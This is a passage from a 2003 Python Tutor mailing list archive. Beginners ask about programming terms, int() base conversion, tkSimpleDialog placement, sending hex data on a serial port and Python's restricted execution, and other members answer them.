But GUI development with Python, for instance using wxPython,
is often more complex than producing the underlying logic. You
can't get away from using classes, and there are a lot of little
non-obvious things that have to be done right to get it to work.

That's the main reason I see to postpone the GUI programming in
this case. But you have a point that parallel development makes
sense as well... As a beginner you are probably unlikely to
predict exactly what kind of API you need between the logic and
the GUI before you even start writing the GUI. But with Python,
it's typically quick to rewrite code that doesn't fit the bill. :)

I try to use the unittest module to write unittests for my logic.
It's probably a good idea to write unit tests before you write
the code you plan to test, for two reasons:

1. Writing tests becomes part of the design process, a way of
    defining interface (API) and functionality.

2. If you postpone writing test code until the program is working
    it's very likely that it won't happen at all.

It's really a good idea to have a suite of unit tests for your code,
and to run it regularly while doing development. It will make you
notice much faster if you had made a change that broke some other
part of the system.



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From patrick@kirks.net  Wed Jun 18 07:17:03 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Wed Jun 18 06:17:03 2003
Subject: [Tutor] Using Idle under Windows
Message-ID: <3EF03C2F.9040308@kirks.net>

Hi all,

I keep hitting Uparrow to get my last command even when I'm on a Windows 
box.

Is there any way I can persuade Python on windows that Uparrow means 
show last command?
-- 

Thanks,


Patrick Kirk
Mobile: 07876 560 646





From cydonia_1@yahoo.com  Wed Jun 18 07:45:03 2003
From: cydonia_1@yahoo.com (=?iso-8859-1?q?Tristan=20Knowles?=)
Date: Wed Jun 18 06:45:03 2003
Subject: [Tutor] programming definitions for a newbie.
Message-ID: <20030618104353.11973.qmail@web41105.mail.yahoo.com>

Hi,

Is someone able to define (in as non-programming
language as possible) the following terms in relation
to what they actually in a very broad and basic sense.


*module- 
for instance, "cgi".  i understand that i start by
putting in "import cgi".  But how can i dump a raw
object from cgi into an html page just to see what it
looks like?  Or am i confused as to what the cgi
module can do?

*object orientated programming

*arrays

*classes

*function

*local variable

*global variable


I am really keen to learn some Python but even most of
the beginners tuts drop the above names as if you are
meant to know them already, which makes it hard to
understand what they mean.
And if they do explain, its in programmers language
that i cant understand :P.


No offence to the tutorial writers.  i have attempted
almost all of the beginners ones that python.org lists
and they are great up until after "while loops".  Then
things get more intense and programming lingo steps up
a notch also.

Sorry about the long post.  wanted to explain so you
can understand the level i am at.

Thanks

Cheers,

Tristan

________________________________________________________________________
Want to chat instantly with your online friends?  Get the FREE Yahoo!
Messenger http://uk.messenger.yahoo.com/


From thomi@thomi.imail.net.nz  Wed Jun 18 07:55:03 2003
From: thomi@thomi.imail.net.nz (Thomas CLive Richards)
Date: Wed Jun 18 06:55:03 2003
Subject: [Tutor] programming definitions for a newbie.
In-Reply-To: <20030618104353.11973.qmail@web41105.mail.yahoo.com>
References: <20030618104353.11973.qmail@web41105.mail.yahoo.com>
Message-ID: <20030618225436.6853b473.thomi@thomi.imail.net.nz>

here goes:

> *module- 
A module is like a library. It is a collection of useful code which
someone else has written, so you don't have to. typing "import module"
takes that code and includes it in your program, so you can then use the
features of that module.
> 
> *object orientated programming
> 

A style of programming, using objects instead of...not... I've never
really done a lot of procedural programming, so i can't really define
this one very well...

> *arrays
> 
An array is a variable which holds a list of other variables (that
didn't make sense, did it?). For example, variable 'names' might hold a
list of names of other people, so it holds a list of strings. You can
think of arrays as occupying more than one memory "box". I.e.- you can
assign one value per memory "box". You can also have arrays within
arrays, so they are in effect "2d arrays".
> *function
> 
Once uses a function when one has a collection of code which you may
want to use more than one. you can write it in a function, and then call
that function over and over again. If (for example) your function has 50
lines of code in it, and you call it 10 times, you are saving yourself
from having to write those 50 lines 10 times. instead, you simply call
that function.

> *local variable
> 
A variable which can only be "seen" by the code block it was declared
in. For example, if you declare a variable in a function, it may only be
read from within that function. this is a local variable. a 
> *global variable
> 
OTOH, is readably from everywhere in the program. These are generally a
bad thing to use, as they tend to lead to sloppy code, and make programs
much harder to debug. One good use i find for global variables though is
a "debug flag", which i can set to 1 whenever i want my program to print
debugging messages.
> 
there is a "programming for non-programmers" tut somewhere or other..
maybe you should take a look at that..
> 
> 
> No offence to the tutorial writers.  i have attempted
> almost all of the beginners ones that python.org lists
> and they are great up until after "while loops".  Then
> things get more intense and programming lingo steps up
> a notch also.

Thomi,

-- 

Thomi Richards,
thomi@thomi.imail.net.nz



From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 18 08:01:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 18 07:01:02 2003
Subject: [Tutor] programming definitions for a newbie.
In-Reply-To: <20030618104353.11973.qmail@web41105.mail.yahoo.com>
References: <20030618104353.11973.qmail@web41105.mail.yahoo.com>
Message-ID: <54340606946.20030618070718@columbus.rr.com>

> *object orientated programming
save this for later

> *arrays
Imagine a row of numbered boxes (for instance, 0 through 20). You can
stuff things in any box just by giving the number of the box.


> *classes
save this for later


> *function
A function is like telling your kids/spouse/pet to go check the mail.
They'll walk outside, get the mail from your mailbox, and RETURN that
mail to you. You can say "go check the mail" as often as you like, any
number of times.


> *local variable
A variable thats declared inside of something like a function or
class.

> *global variable
The opposite. It's not inside of anything in particular. Like files in
the root of your C: drive. They're not in any particular folder.


Alan



From hillcino368@hotmail.com  Wed Jun 18 08:26:07 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Wed Jun 18 07:26:07 2003
Subject: [Tutor] built in functions int(),long()
Message-ID: <Law15-F69Q8AZndKaQf00003c85@hotmail.com>

Hi all,

The built in always avail functions

int( x[, radix])
Convert a string or number to a plain integer. If the argument is a string, 
it must contain a possibly signed decimal number representable as a Python 
integer, possibly embedded in whitespace; this behaves identical to 
string.atoi(x[, radix]). The radix parameter gives the base for the 
conversion and may be any integer in the range [2, 36], or zero. If radix is 
zero, the proper radix is guessed based on the contents of string; the 
interpretation is the same as for integer literals. If radix is specified 
and x is not a string, TypeError is raised. Otherwise, the argument may be a 
plain or long integer or a floating point number. Conversion of floating 
point numbers to integers truncates (towards zero). If the argument is 
outside the integer range a long object will be returned instead.


long( x[, radix])
Convert a string or number to a long integer. If the argument is a string, 
it must contain a possibly signed number of arbitrary size, possibly 
embedded in whitespace; this behaves identical to string.atol(x). The radix 
argument is interpreted in the same way as for int(), and may only be given 
when x is a string. Otherwise, the argument may be a plain or long integer 
or a floating point number, and a long integer with the same value is 
returned. Conversion of floating point numbers to integers truncates 
(towards zero).

These do not work properly or as defined.
examples
>>>long('123',2)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ValueError: invalid literal for long(): 123
>>>
>>>long('123')
123L                            OK
>>>
>>>long("123",10)
123L                           OK
>>>long('123',4)
27L                                      base 10  123 base 4 = 1323
same thing for int()
same thing for versions python 222, 23 a1


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus



From mwagman@charter.net  Wed Jun 18 09:15:02 2003
From: mwagman@charter.net (Mike Wagman)
Date: Wed Jun 18 08:15:02 2003
Subject: [Tutor] If you are interested
Message-ID: <1055938755.2525.5.camel@24-159-241-21.jvl.wi.charter.com>

Grabbed myself some free web space and through some of what I've been
working on up there.

Which is 
A Flexible dice roller, as a command line program, a gui program, and a
module.

Also routines that I use to randomize player order - in turn based
games.

http://www.geocities.com/mikewagman/
-- 
Mike Wagman <mwagman@charter.net>



From gerrit@nl.linux.org  Wed Jun 18 09:17:01 2003
From: gerrit@nl.linux.org (Gerrit Holl)
Date: Wed Jun 18 08:17:01 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <Law15-F69Q8AZndKaQf00003c85@hotmail.com>
References: <Law15-F69Q8AZndKaQf00003c85@hotmail.com>
Message-ID: <20030618121519.GA3801@nl.linux.org>

cino hilliard wrote:
> These do not work properly or as defined.
> examples
> >>>long('123',2)
> Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
> ValueError: invalid literal for long(): 123

This is correct. Base 2 means only 0 and 1 can occur.

> >>>
> >>>long('123')
> 123L                            OK
> >>>
> >>>long("123",10)
> 123L                           OK
> >>>long('123',4)
> 27L                                      base 10  123 base 4 = 1323

This is all correct.

b10 b4
0   0
1   1
2   2
3   3
4   10
5   11
6   12
7   13
8   20
9   21
10  22
11  23
12  30
13  31
14  32
15  33
16  100
17  101
18  102
19  103
20  110
21  111
22  112
23  113
24  120
25  121
26  122
27  123

What is the problem?

yours,
Gerrit.

-- 
52. If the cultivator do not plant corn or sesame in the field, the
debtor's contract is not weakened.
        -- 1780 BC, Hammurabi, Code of Law
--
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/


From pythontutor@venix.com  Wed Jun 18 10:07:02 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 18 09:07:02 2003
Subject: [Tutor] Memoizing ...
References: <3EEFC6B5.4050109@aon.at>
Message-ID: <3EF063CF.9060301@venix.com>

This is in the Python Cookbook in the Algorithms chapter (17.7).

A Memoize class creates instances that are built to memoize (is this still English?)
the function args and return values.  The args become the dictionary keys and
the function return values are the dictionary values.  The instance tries to return
the values from its dictionary.  If it can't, it calls the original function, adds
to the dictionary, and then returns the function result.

(Page 521 in my copy.)

Gregor Lingl wrote:
> I mean, I'd like to get something like:
> 
>  >>> BINOMM = memoize(BINOM)
> 
> or
> 
>  >>> BINOMM = memoize(BINOM, BINOM.binom)
> 
> or something similar.
> 
> Gregor
> 
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From bwinton@latte.ca  Wed Jun 18 12:40:23 2003
From: bwinton@latte.ca (Blake Winton)
Date: Wed Jun 18 11:40:23 2003
Subject: [Tutor] programming definitions for a newbie.
In-Reply-To: <20030618225436.6853b473.thomi@thomi.imail.net.nz>
References: <20030618104353.11973.qmail@web41105.mail.yahoo.com> <20030618225436.6853b473.thomi@thomi.imail.net.nz>
Message-ID: <20030618153417.GA19741@latte.ca>

* Thomas CLive Richards <thomi@thomi.imail.net.nz> [030618 06:53]:
> > *object orientated programming
> A style of programming, using objects instead of...not... I've never
> really done a lot of procedural programming, so i can't really define
> this one very well...

I'll take this one, since I've been programming since the days of
procedural programming.  ;)  Seriously, you're doing procedural
programming almost every time you write a Python method.  It's
just a matter of perspective.  (There is something which I refer
to as "Pure Object Oriented Programming", where all you can do
is call methods on objects.  No "=", no "+".  Smalltalk or ML (I
think) are examples of that sort of language.)

The main difference between object oriented programming and
procedural programming is that with object oriented programming
the methods are linked to the data, whereas with procedural
programming the methods are more free-floating.

An example might help at this point.
Procedural:
>>> import string
>>> x = "aaab"
>>> string.count( x, "b" )
1
>>> string.count( x, "a" )
3

The main problem with this is that the first argument might
not be a string.

>>> y = 3
>>> string.count( y, "a" )
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "C:\PROGRA~1\Python\Lib\string.py", line 166, in count
    return s.count(*args)
AttributeError: 'int' object has no attribute 'count'

Object oriented programming, on the other hand, merges the
data with the methods that act upon them.

>>> x = "aaab"
>>> x.count( 'a' )
3

And as long as x is something that implements a "count" method,
that line will work.

>>> x = ['a','a','b','a']
>>> x.count( 'a' )
3

The thing to note is that we're calling a different "count"
method, depending on what the value of "x" is at that time.
That's the strength of object oriented programming.  It will
automatically select the correct method to call, based on
the type of the thing to the left of the ".".

Finally, there's something called "Functional Programming",
which only calls functions, but perhaps we should save that
for another time.

Clear as mud?  ;)

Later,
Blake.
-- 
 11:28am  up 33 days, 23:35,  3 users,  load average: 1.65, 1.73, 1.72


From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Wed Jun 18 14:02:47 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Wed Jun 18 13:02:47 2003
Subject: [Tutor] tkSimpleDialog box question............
Message-ID: <20030618170121.6539.qmail@webmail36.rediffmail.com>

 This is a multipart mime message


--Next_1055955681---0-203.199.83.248-6534
Content-type: text/html;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<P>=0AHi,<BR>=0A<BR>=0A&nbsp; &nbsp; Anybody know how to place &quot;tkSimp=
leDialog&quot; at a given user defined location rather than the default one=
? I am calling &quot;kSimpleDialog&quot; in my application and it always di=
splay near to top-left ( say 100,100). But i want to place at center of the=
 screen or somewhere else. How can i do it? My code is given below.<BR>=0A<=
BR>=0A<BR>=0Afrom&nbsp;  Tkinter import *<BR>=0Aimport Pmw<BR>=0Aimport tkF=
ont<BR>=0Aimport tkSimpleDialog<BR>=0A<BR>=0Aclass Test:<BR>=0A<BR>=0A&nbsp=
; &nbsp; def __init__(self,parent):<BR>=0A&nbsp; &nbsp; &nbsp; self.myparen=
t =3D parent<BR>=0A&nbsp; &nbsp; &nbsp; self.canvas =3D Canvasself.myparent=
,width=3D500,height=3D500)<BR>=0A&nbsp; &nbsp; &nbsp; self.canvas.bind('&lt=
;Button-1&gt;', self.showDialog)<BR>=0A&nbsp; &nbsp; &nbsp; self.canvas.pac=
k()<BR>=0A<BR>=0A&nbsp; &nbsp; def showDialog():<BR>=0A&nbsp; &nbsp; &nbsp;=
 &nbsp; radiotype =3D 0<BR>=0A&nbsp; &nbsp; &nbsp; &nbsp; RadioButtonTest.(=
sefl.myparent,&quot;Radio Test&quot;,radiotype) <BR>=0A<BR>=0A<BR>=0Aclass =
RadioButtonTest(tkSimpleDialog.Dialog):<BR>=0A&nbsp; &nbsp; &nbsp;def __ini=
t__( self, parent,title, filetype) :<BR>=0A&nbsp; &nbsp; &nbsp;&nbsp; &nbsp=
; &nbsp;tkSimpleDialog.Dialog.__init__( self, parent, title)<BR>=0A&nbsp; &=
nbsp; &nbsp;&nbsp; &nbsp; &nbsp;self.group =3D IntVar()<BR>=0A&nbsp; &nbsp;=
 &nbsp;def body(self, master):<BR>=0A&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbs=
p;fType =3D Frame(master, borderwidth=3D1, relief=3DSUNKEN)<BR>=0A&nbsp; &n=
bsp; &nbsp;&nbsp; &nbsp; &nbsp;first =3D Radiobutton(fType,text =3D &quot; =
Test1&quot;, ariable=3Dself.group, value=3D1)<BR>=0A&nbsp; &nbsp; &nbsp;&nb=
sp; &nbsp; &nbsp;first.pack(side=3DTOP,anchor=3DW)<BR>=0A<BR>=0A&nbsp; &nbs=
p; &nbsp;&nbsp; &nbsp; &nbsp;second =3D Radiobutton(fType, text =3D &quot; =
Test2&quot;, variable=3Dself.group, value=3D2)<BR>=0A&nbsp; &nbsp; &nbsp;&n=
bsp; &nbsp; &nbsp;second.pack(side=3DTOP, anchor=3DW)<BR>=0A&nbsp; &nbsp; &=
nbsp;&nbsp; &nbsp; &nbsp;first.select()<BR>=0A&nbsp; &nbsp; &nbsp;&nbsp; &n=
bsp; &nbsp;fType.pack(side=3D&quot;right&quot;, padx=3D3)<BR>=0A<BR>=0A<BR>=
=0Aroot =3D Tk()<BR>=0Amytest =3D&nbsp; Test(root)<BR>=0Aroot.mainloop()<BR=
>=0A<BR>=0A<BR>=0A=0A</P>=0A<br><br>=0A<a href=3D"http://www.herohonda.com/=
karizma?rediffmail" target=3D"_blank"><IMG SRC=3D"http://ads.rediff.com/Rea=
lMedia/ads/adstream_nx.ads/www.rediffmail.com/inbox.htm@Bottom" border=3D0>=
</a>=0A
--Next_1055955681---0-203.199.83.248-6534
Content-type: text/plain;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,=0A=0A    Anybody know how to place "tkSimpleDialog" at a given user def=
ined location rather than the default one? I am calling "kSimpleDialog" in =
my application and it always display near to top-left ( say 100,100). But i=
 want to place at center of the screen or somewhere else. How can i do it? =
My code is given below.=0A=0A=0Afrom   Tkinter import *=0Aimport Pmw=0Aimpo=
rt tkFont=0Aimport tkSimpleDialog=0A=0Aclass Test:=0A=0A    def __init__(se=
lf,parent):=0A      self.myparent =3D parent=0A      self.canvas =3D Canvas=
self.myparent,width=3D500,height=3D500)=0A      self.canvas.bind('<Button-1=
>', self.showDialog)=0A      self.canvas.pack()=0A=0A    def showDialog():=
=0A        radiotype =3D 0=0A        RadioButtonTest.(sefl.myparent,"Radio =
Test",radiotype) =0A=0A=0Aclass RadioButtonTest(tkSimpleDialog.Dialog):=0A	=
def __init__( self, parent,title, filetype) :=0A		tkSimpleDialog.Dialog.__i=
nit__( self, parent, title)=0A		self.group =3D IntVar()=0A	def body(self, m=
aster):=0A		fType =3D Frame(master, borderwidth=3D1, relief=3DSUNKEN)=0A		f=
irst =3D Radiobutton(fType,text =3D " Test1", ariable=3Dself.group, value=
=3D1)=0A		first.pack(side=3DTOP,anchor=3DW)=0A=0A		second =3D Radiobutton(f=
Type, text =3D " Test2", variable=3Dself.group, value=3D2)=0A		second.pack(=
side=3DTOP, anchor=3DW)=0A		first.select()=0A		fType.pack(side=3D"right", p=
adx=3D3)=0A=0A=0Aroot =3D Tk()=0Amytest =3D  Test(root)=0Aroot.mainloop()=
=0A=0A=0A
--Next_1055955681---0-203.199.83.248-6534--



From garnaez@yahoo.com  Wed Jun 18 15:07:01 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
Date: Wed Jun 18 14:07:01 2003
Subject: [Tutor] trusted?
Message-ID: <20030618180616.70338.qmail@web20206.mail.yahoo.com>

Hi all, Im on the gnumed dev list and it was mentioned
that python may be pulled as a trusted lang since it
will no longer support regex.  COuld someone help me
understand or point me to understanding?

Thanks allG
G\

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From nas-pytut@python.ca  Wed Jun 18 15:27:01 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 14:27:01 2003
Subject: [Tutor] trusted?
In-Reply-To: <20030618180616.70338.qmail@web20206.mail.yahoo.com>
References: <20030618180616.70338.qmail@web20206.mail.yahoo.com>
Message-ID: <20030618183027.GA15016@glacier.arctrix.com>

Gerardo Arnaez wrote:
> Hi all, Im on the gnumed dev list and it was mentioned
> that python may be pulled as a trusted lang since it
> will no longer support regex.  COuld someone help me
> understand or point me to understanding?

Could you provide a reference to the posting?  Someone is confused.
Python has supported regular expressions for years and will continue to
do so.  Also, could you provide a definition for the word "trusted"?
I'm confused as to how it relates to regexes.  I guess it could be used
in the sense of "preferred".

  Neil


From vicki@stanfield.net  Wed Jun 18 15:27:16 2003
From: vicki@stanfield.net (vicki@stanfield.net)
Date: Wed Jun 18 14:27:16 2003
Subject: [Tutor] sending hex data on port
Message-ID: <20030618112647.1401.h011.c000.wm@mail.stanfield.net.criticalpath.net>

I am working on a project which requires that I read
data in from a file and send the hex equivalent out on
the serial port. I have everything except how to send
the data in hex format. I have looked through a lot of
apps but most are really more complicated than I am
ready for. If I simply try to do this:

port.write(hex(18))

It translates the 1 to hex and then the 8 to hex. I
realize this is quite simplistic, but it is really all
I need to do. If I put '18', it complains about not
being able to convert a hex value to a hex value.

Pardon my ignorance, but can someone please point me in
the right direction?

--vicki


From ATrautman@perryjudds.com  Wed Jun 18 15:31:35 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Wed Jun 18 14:31:35 2003
Subject: [Tutor] trusted?
Message-ID: <06738462136C054B8F8872D69DA140DB010804@corp-exch-1.pjinet.com>

http://www.gnumed.org/home.html

Appears to be the group you are talking about but there is nothing there but
a bunch of tutorials and stuff all written in Python. Some pretty good.

They don't appear to be the source of the rumor unless someone has insider
knowledge.

Alan

-----Original Message-----
From: Gerardo Arnaez [mailto:garnaez@yahoo.com]
Sent: Wednesday, June 18, 2003 1:06 PM
To: tutor@python.org
Subject: [Tutor] trusted?


Hi all, Im on the gnumed dev list and it was mentioned
that python may be pulled as a trusted lang since it
will no longer support regex.  COuld someone help me
understand or point me to understanding?

Thanks allG
G\

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From neal@bcn.boulder.co.us  Wed Jun 18 15:35:01 2003
From: neal@bcn.boulder.co.us (Neal McBurnett)
Date: Wed Jun 18 14:35:01 2003
Subject: [Tutor] trusted?
In-Reply-To: <20030618183027.GA15016@glacier.arctrix.com>; from nas-pytut@python.ca on Wed, Jun 18, 2003 at 11:30:27AM -0700
References: <20030618180616.70338.qmail@web20206.mail.yahoo.com> <20030618183027.GA15016@glacier.arctrix.com>
Message-ID: <20030618123410.I9229@feynman>

I have no idea what the gnumed discussion is about, but this reminds
me of the lack of a "taint" mechanism in Python, the way it exists in
Perl.  Read this Python Feature Request for details and latest
proposals:

http://sourceforge.net/tracker/index.php?func=detail&aid=500698&group_id=5470&atid=355470

Writing safe CGI scripts is very important and very hard.  This could
make a difference.

Cheers,

Neal McBurnett                 http://bcn.boulder.co.us/~neal/
Signed and/or sealed mail encouraged.  GPG/PGP Keyid: 2C9EBA60

On Wed, Jun 18, 2003 at 11:30:27AM -0700, Neil Schemenauer wrote:
> Gerardo Arnaez wrote:
> > Hi all, Im on the gnumed dev list and it was mentioned
> > that python may be pulled as a trusted lang since it
> > will no longer support regex.  COuld someone help me
> > understand or point me to understanding?
> 
> Could you provide a reference to the posting?  Someone is confused.
> Python has supported regular expressions for years and will continue to
> do so.  Also, could you provide a definition for the word "trusted"?
> I'm confused as to how it relates to regexes.  I guess it could be used
> in the sense of "preferred".


From dyoo@hkn.eecs.berkeley.edu  Wed Jun 18 15:37:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed Jun 18 14:37:01 2003
Subject: [Tutor] tutor list  [How to unsubscribe from Python-tutor]
In-Reply-To: <JOENINDGJDPMGHODEHKLMEHMCCAA.greg@gregmchapman.info>
Message-ID: <Pine.LNX.4.44.0306181130010.14698-100000@hkn.eecs.berkeley.edu>


On Mon, 16 Jun 2003, Greg Chapman wrote:

> you can also send an email to Tutor-request@python.org if for some
> reason you do not have web access, however no-one on the list can
> unsubscribe you (as far as I know)

The admins can do manual unsubscription if we're forced to do it.  (I
personally haven't been able to see this in a while; I just got back from
vacation.  It looks like I missed a lot; my apologies!)



RFisher930, I've unsubscribed you from the list.  But please be aware that
you can unsubscribe yourself by visiting that page you used to subscribe
to Python-Tutor.  The web page at:

    http://mail.python.org/mailman/listinfo/tutor

has a form near the bottom that will let you unsubscribe yourself.  Since
a lot of other mailing lists on the Internet use a similar system, it's
good to know how to do it.



From nas-pytut@python.ca  Wed Jun 18 15:44:14 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 14:44:14 2003
Subject: [Tutor] trusted?
In-Reply-To: <20030618180616.70338.qmail@web20206.mail.yahoo.com>
References: <20030618180616.70338.qmail@web20206.mail.yahoo.com>
Message-ID: <20030618184714.GA15120@glacier.arctrix.com>

Gerardo Arnaez wrote:
> Hi all, Im on the gnumed dev list and it was mentioned
> that python may be pulled as a trusted lang since it
> will no longer support regex.  COuld someone help me
> understand or point me to understanding?

After re-reading your message I guess that you are using "regex" to mean
restricted execution.  That threw me off since it's usely used to mean
regular expressions.

Python will indeed no longer pretend to support restricted execution.
Older versions of Python were not secure.  It would take a massive
effort to make restricted execution work correctly.  The Python
developers currently don't have the resources to do it.

Some food for thought:

    http://cap-lore.com/Dual.html

Cheers,

   Neil


From vicki@stanfield.net  Wed Jun 18 15:55:03 2003
From: vicki@stanfield.net (vicki@stanfield.net)
Date: Wed Jun 18 14:55:03 2003
Subject: [Tutor] Re: sending hex data on port
Message-ID: <20030618115301.1749.h014.c000.wm@mail.stanfield.net.criticalpath.net>

On Wed, 18 Jun 2003 13:26:47 -0500 (EST),
vicki@stanfield.net wrote:

> 
> I am working on a project which requires that I read
> data in from a file and send the hex equivalent out on
> the serial port. I have everything except how to send
> the data in hex format. I have looked through a lot of
> apps but most are really more complicated than I am
> ready for. If I simply try to do this:
> 
> port.write(hex(18))
> 
> It translates the 1 to hex and then the 8 to hex. I
> realize this is quite simplistic, but it is really all
> I need to do. If I put '18', it complains about not
> being able to convert a hex value to a hex value.
> 
> Pardon my ignorance, but can someone please point me
in
> the right direction?
> 
> --vicki

Okay, sorry to reply to my own post, but I am still
working on this. I tried something which I think is
close to what I need. I am using binascii.

port.write(binascii.a2b_hex("18"))

Is this what I am supposed to be using to translate dec
to hex?

--vicki


From abli@freemail.hu  Wed Jun 18 15:56:39 2003
From: abli@freemail.hu (Abel Daniel)
Date: Wed Jun 18 14:56:39 2003
Subject: [Tutor] tkSimpleDialog box question.
In-Reply-To: <20030618170121.6539.qmail@webmail36.rediffmail.com>
References: <20030618170121.6539.qmail@webmail36.rediffmail.com>
Message-ID: <20030618185452.GA914@hooloovoo>

Suresh  Kumar suresh_vsamy@rediffmail.com) wrote:
>     Anybody know how to place "tkSimpleDialog" at a given user defined
> location rather than the default one? I am calling "kSimpleDialog" in my
> application and it always display near to top-left ( say 100,100). But i
> want to place at center of the screen or somewhere else. How can i do it?
> My code is given below.
I don't think you will be able to. tkSimpleDialog is implemented in
python, take a look at it's source code:
tkSimpleDialog inherits from Tkinter.Toplevel. The __init__ of the class
ends with this:

        if self.parent is not None:
            self.geometry("+%d+%d" % (parent.winfo_rootx()+50,
                                      parent.winfo_rooty()+50))

        self.initial_focus.focus_set()

        self.wait_window(self)

This means that if self.parent is not None, the geometry is explicitly
set. self.wait_window waits until the dialog is closed (the widget self
is destroyed.)

This means that without hacking tkSimpleDialog, you won't be able to do
this.
OTOH, this 'hacking' is pretty strait-forward. We need to make
tkSimpleDialog accept an optional geometry option, so the following
should work:

class hackedDialog(tkSimpleDialog.Dialog):
    def __init__(self, parent, title = None, geometry=None):
        #                   New stuff:       ^^^^^^^^^^^^^
        #
        # Copy-paste the code of tkSimpleDialog.Dialog.__init__ here,
        # except the last couple of lines:
        #
        if self.parent is not None:
            if geometry is None:
                self.geometry("+%d+%d" % (parent.winfo_rootx()+50,
                                      parent.winfo_rooty()+50))
            else:
                self.geometry(geometry)

        self.initial_focus.focus_set()

        self.wait_window(self)

However, you are already using Pmw, so why not use Pmw.Dialog instead?
That way, you don't have to hack the source, just call
dialog.component('hull').geometry('100x100+50+50').
(I guess you will have to call it every time before you show the dialog
otherwise it will stay the same if the user resized it last time.)

(Read the docs on Tkinter.Toplevel.geometry() about the meaning of those
...geometry() calls)


Abel Daniel


From rwalston96@hotmail.com  Wed Jun 18 16:08:49 2003
From: rwalston96@hotmail.com (Ruben Walston)
Date: Wed Jun 18 15:08:49 2003
Subject: [Tutor] programming definitions for a newbie.
Message-ID: <BAY8-F45ljq65Rn8P5o0004a571@hotmail.com>

Just to make sure that I've got this correct, object oriented proramming 
allows a programmer to merge the data with the methods acting upon them, fo 
rinstance if I do an assignment such as:

x = "Ruben"

then I can do

len(x)

but I cant do that in procedural programming.

What is the advantage of object oriented programming as opposed to 
procedural programming? Does is shorten the amount of code you need to 
write?

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus



From nas-pytut@python.ca  Wed Jun 18 16:10:04 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Wed Jun 18 15:10:04 2003
Subject: [Tutor] sending hex data on port
In-Reply-To: <20030618112647.1401.h011.c000.wm@mail.stanfield.net.criticalpath.net>
References: <20030618112647.1401.h011.c000.wm@mail.stanfield.net.criticalpath.net>
Message-ID: <20030618191151.GA15263@glacier.arctrix.com>

vicki@stanfield.net wrote:
> If I simply try to do this:
> 
> port.write(hex(18))
> 
> It translates the 1 to hex and then the 8 to hex. I
> realize this is quite simplistic, but it is really all
> I need to do. If I put '18', it complains about not
> being able to convert a hex value to a hex value.

What is the exact error you are seeing?  Do you get a Python traceback?
If so, can you post a copy?

  Neil


From dyoo@hkn.eecs.berkeley.edu  Wed Jun 18 16:12:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed Jun 18 15:12:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <20030615190723.GA436@hooloovoo>
Message-ID: <Pine.LNX.4.44.0306181144060.14698-100000@hkn.eecs.berkeley.edu>


On Sun, 15 Jun 2003, Abel Daniel wrote:

> Sean 'Shaleh' Perry wrote:
> > It has been a while since I saw the "welcome to this list" email, does it
> > comment on this policy?  Perhaps the text on the website should as well.
> No, it doesn't. I guess it should.

Hi Abel,


It does make an indirect pass at it.  Here's what it says:


    """Note that no one is paid to read the tutor list or provide answers,
and most readers often have other work that demands their attention.
Well-posed requests for help are usually answered fairly promptly, but
occasionally a request slips by, so if you do not get a response with one
or two working days (it's usually quicker than that), please feel free to
send a followup, asking whether anyone is working on your question."""



> I think it could also link to
> http://catb.org/~esr/faqs/smart-questions.html That faq mostly covers
> the same things as the 'welcome to this list' email, but it is more
> verbose. (This verbosity might be a drawback: what is the chance of
> somebody reading a long text like that after sending a two-line
> question?)

True.  Ok, I've added the lines:

"""There's a HOWTO that shows how to ask "smart" questions to technical
folks:

http://catb.org/~esr/faqs/smart-questions.html

Although it is provocative, it does have some good points, and is an
interesting read."""


to the "welcome to this list" email.



> And while we are at it, I think that 'welcome to this list' email should
> be linked from the list's description page at
> http://python.org/psa/MailingLists.html#tutor (and maybe at
> http://mail.python.org/mailman/listinfo/tutor).

Yes.  What we need is some permanent web space where we can put up pages
like that.  I talked with Wesley Chun about this about a week ago;  we'll
see what we can do about this.




From garnaez@yahoo.com  Wed Jun 18 16:15:03 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
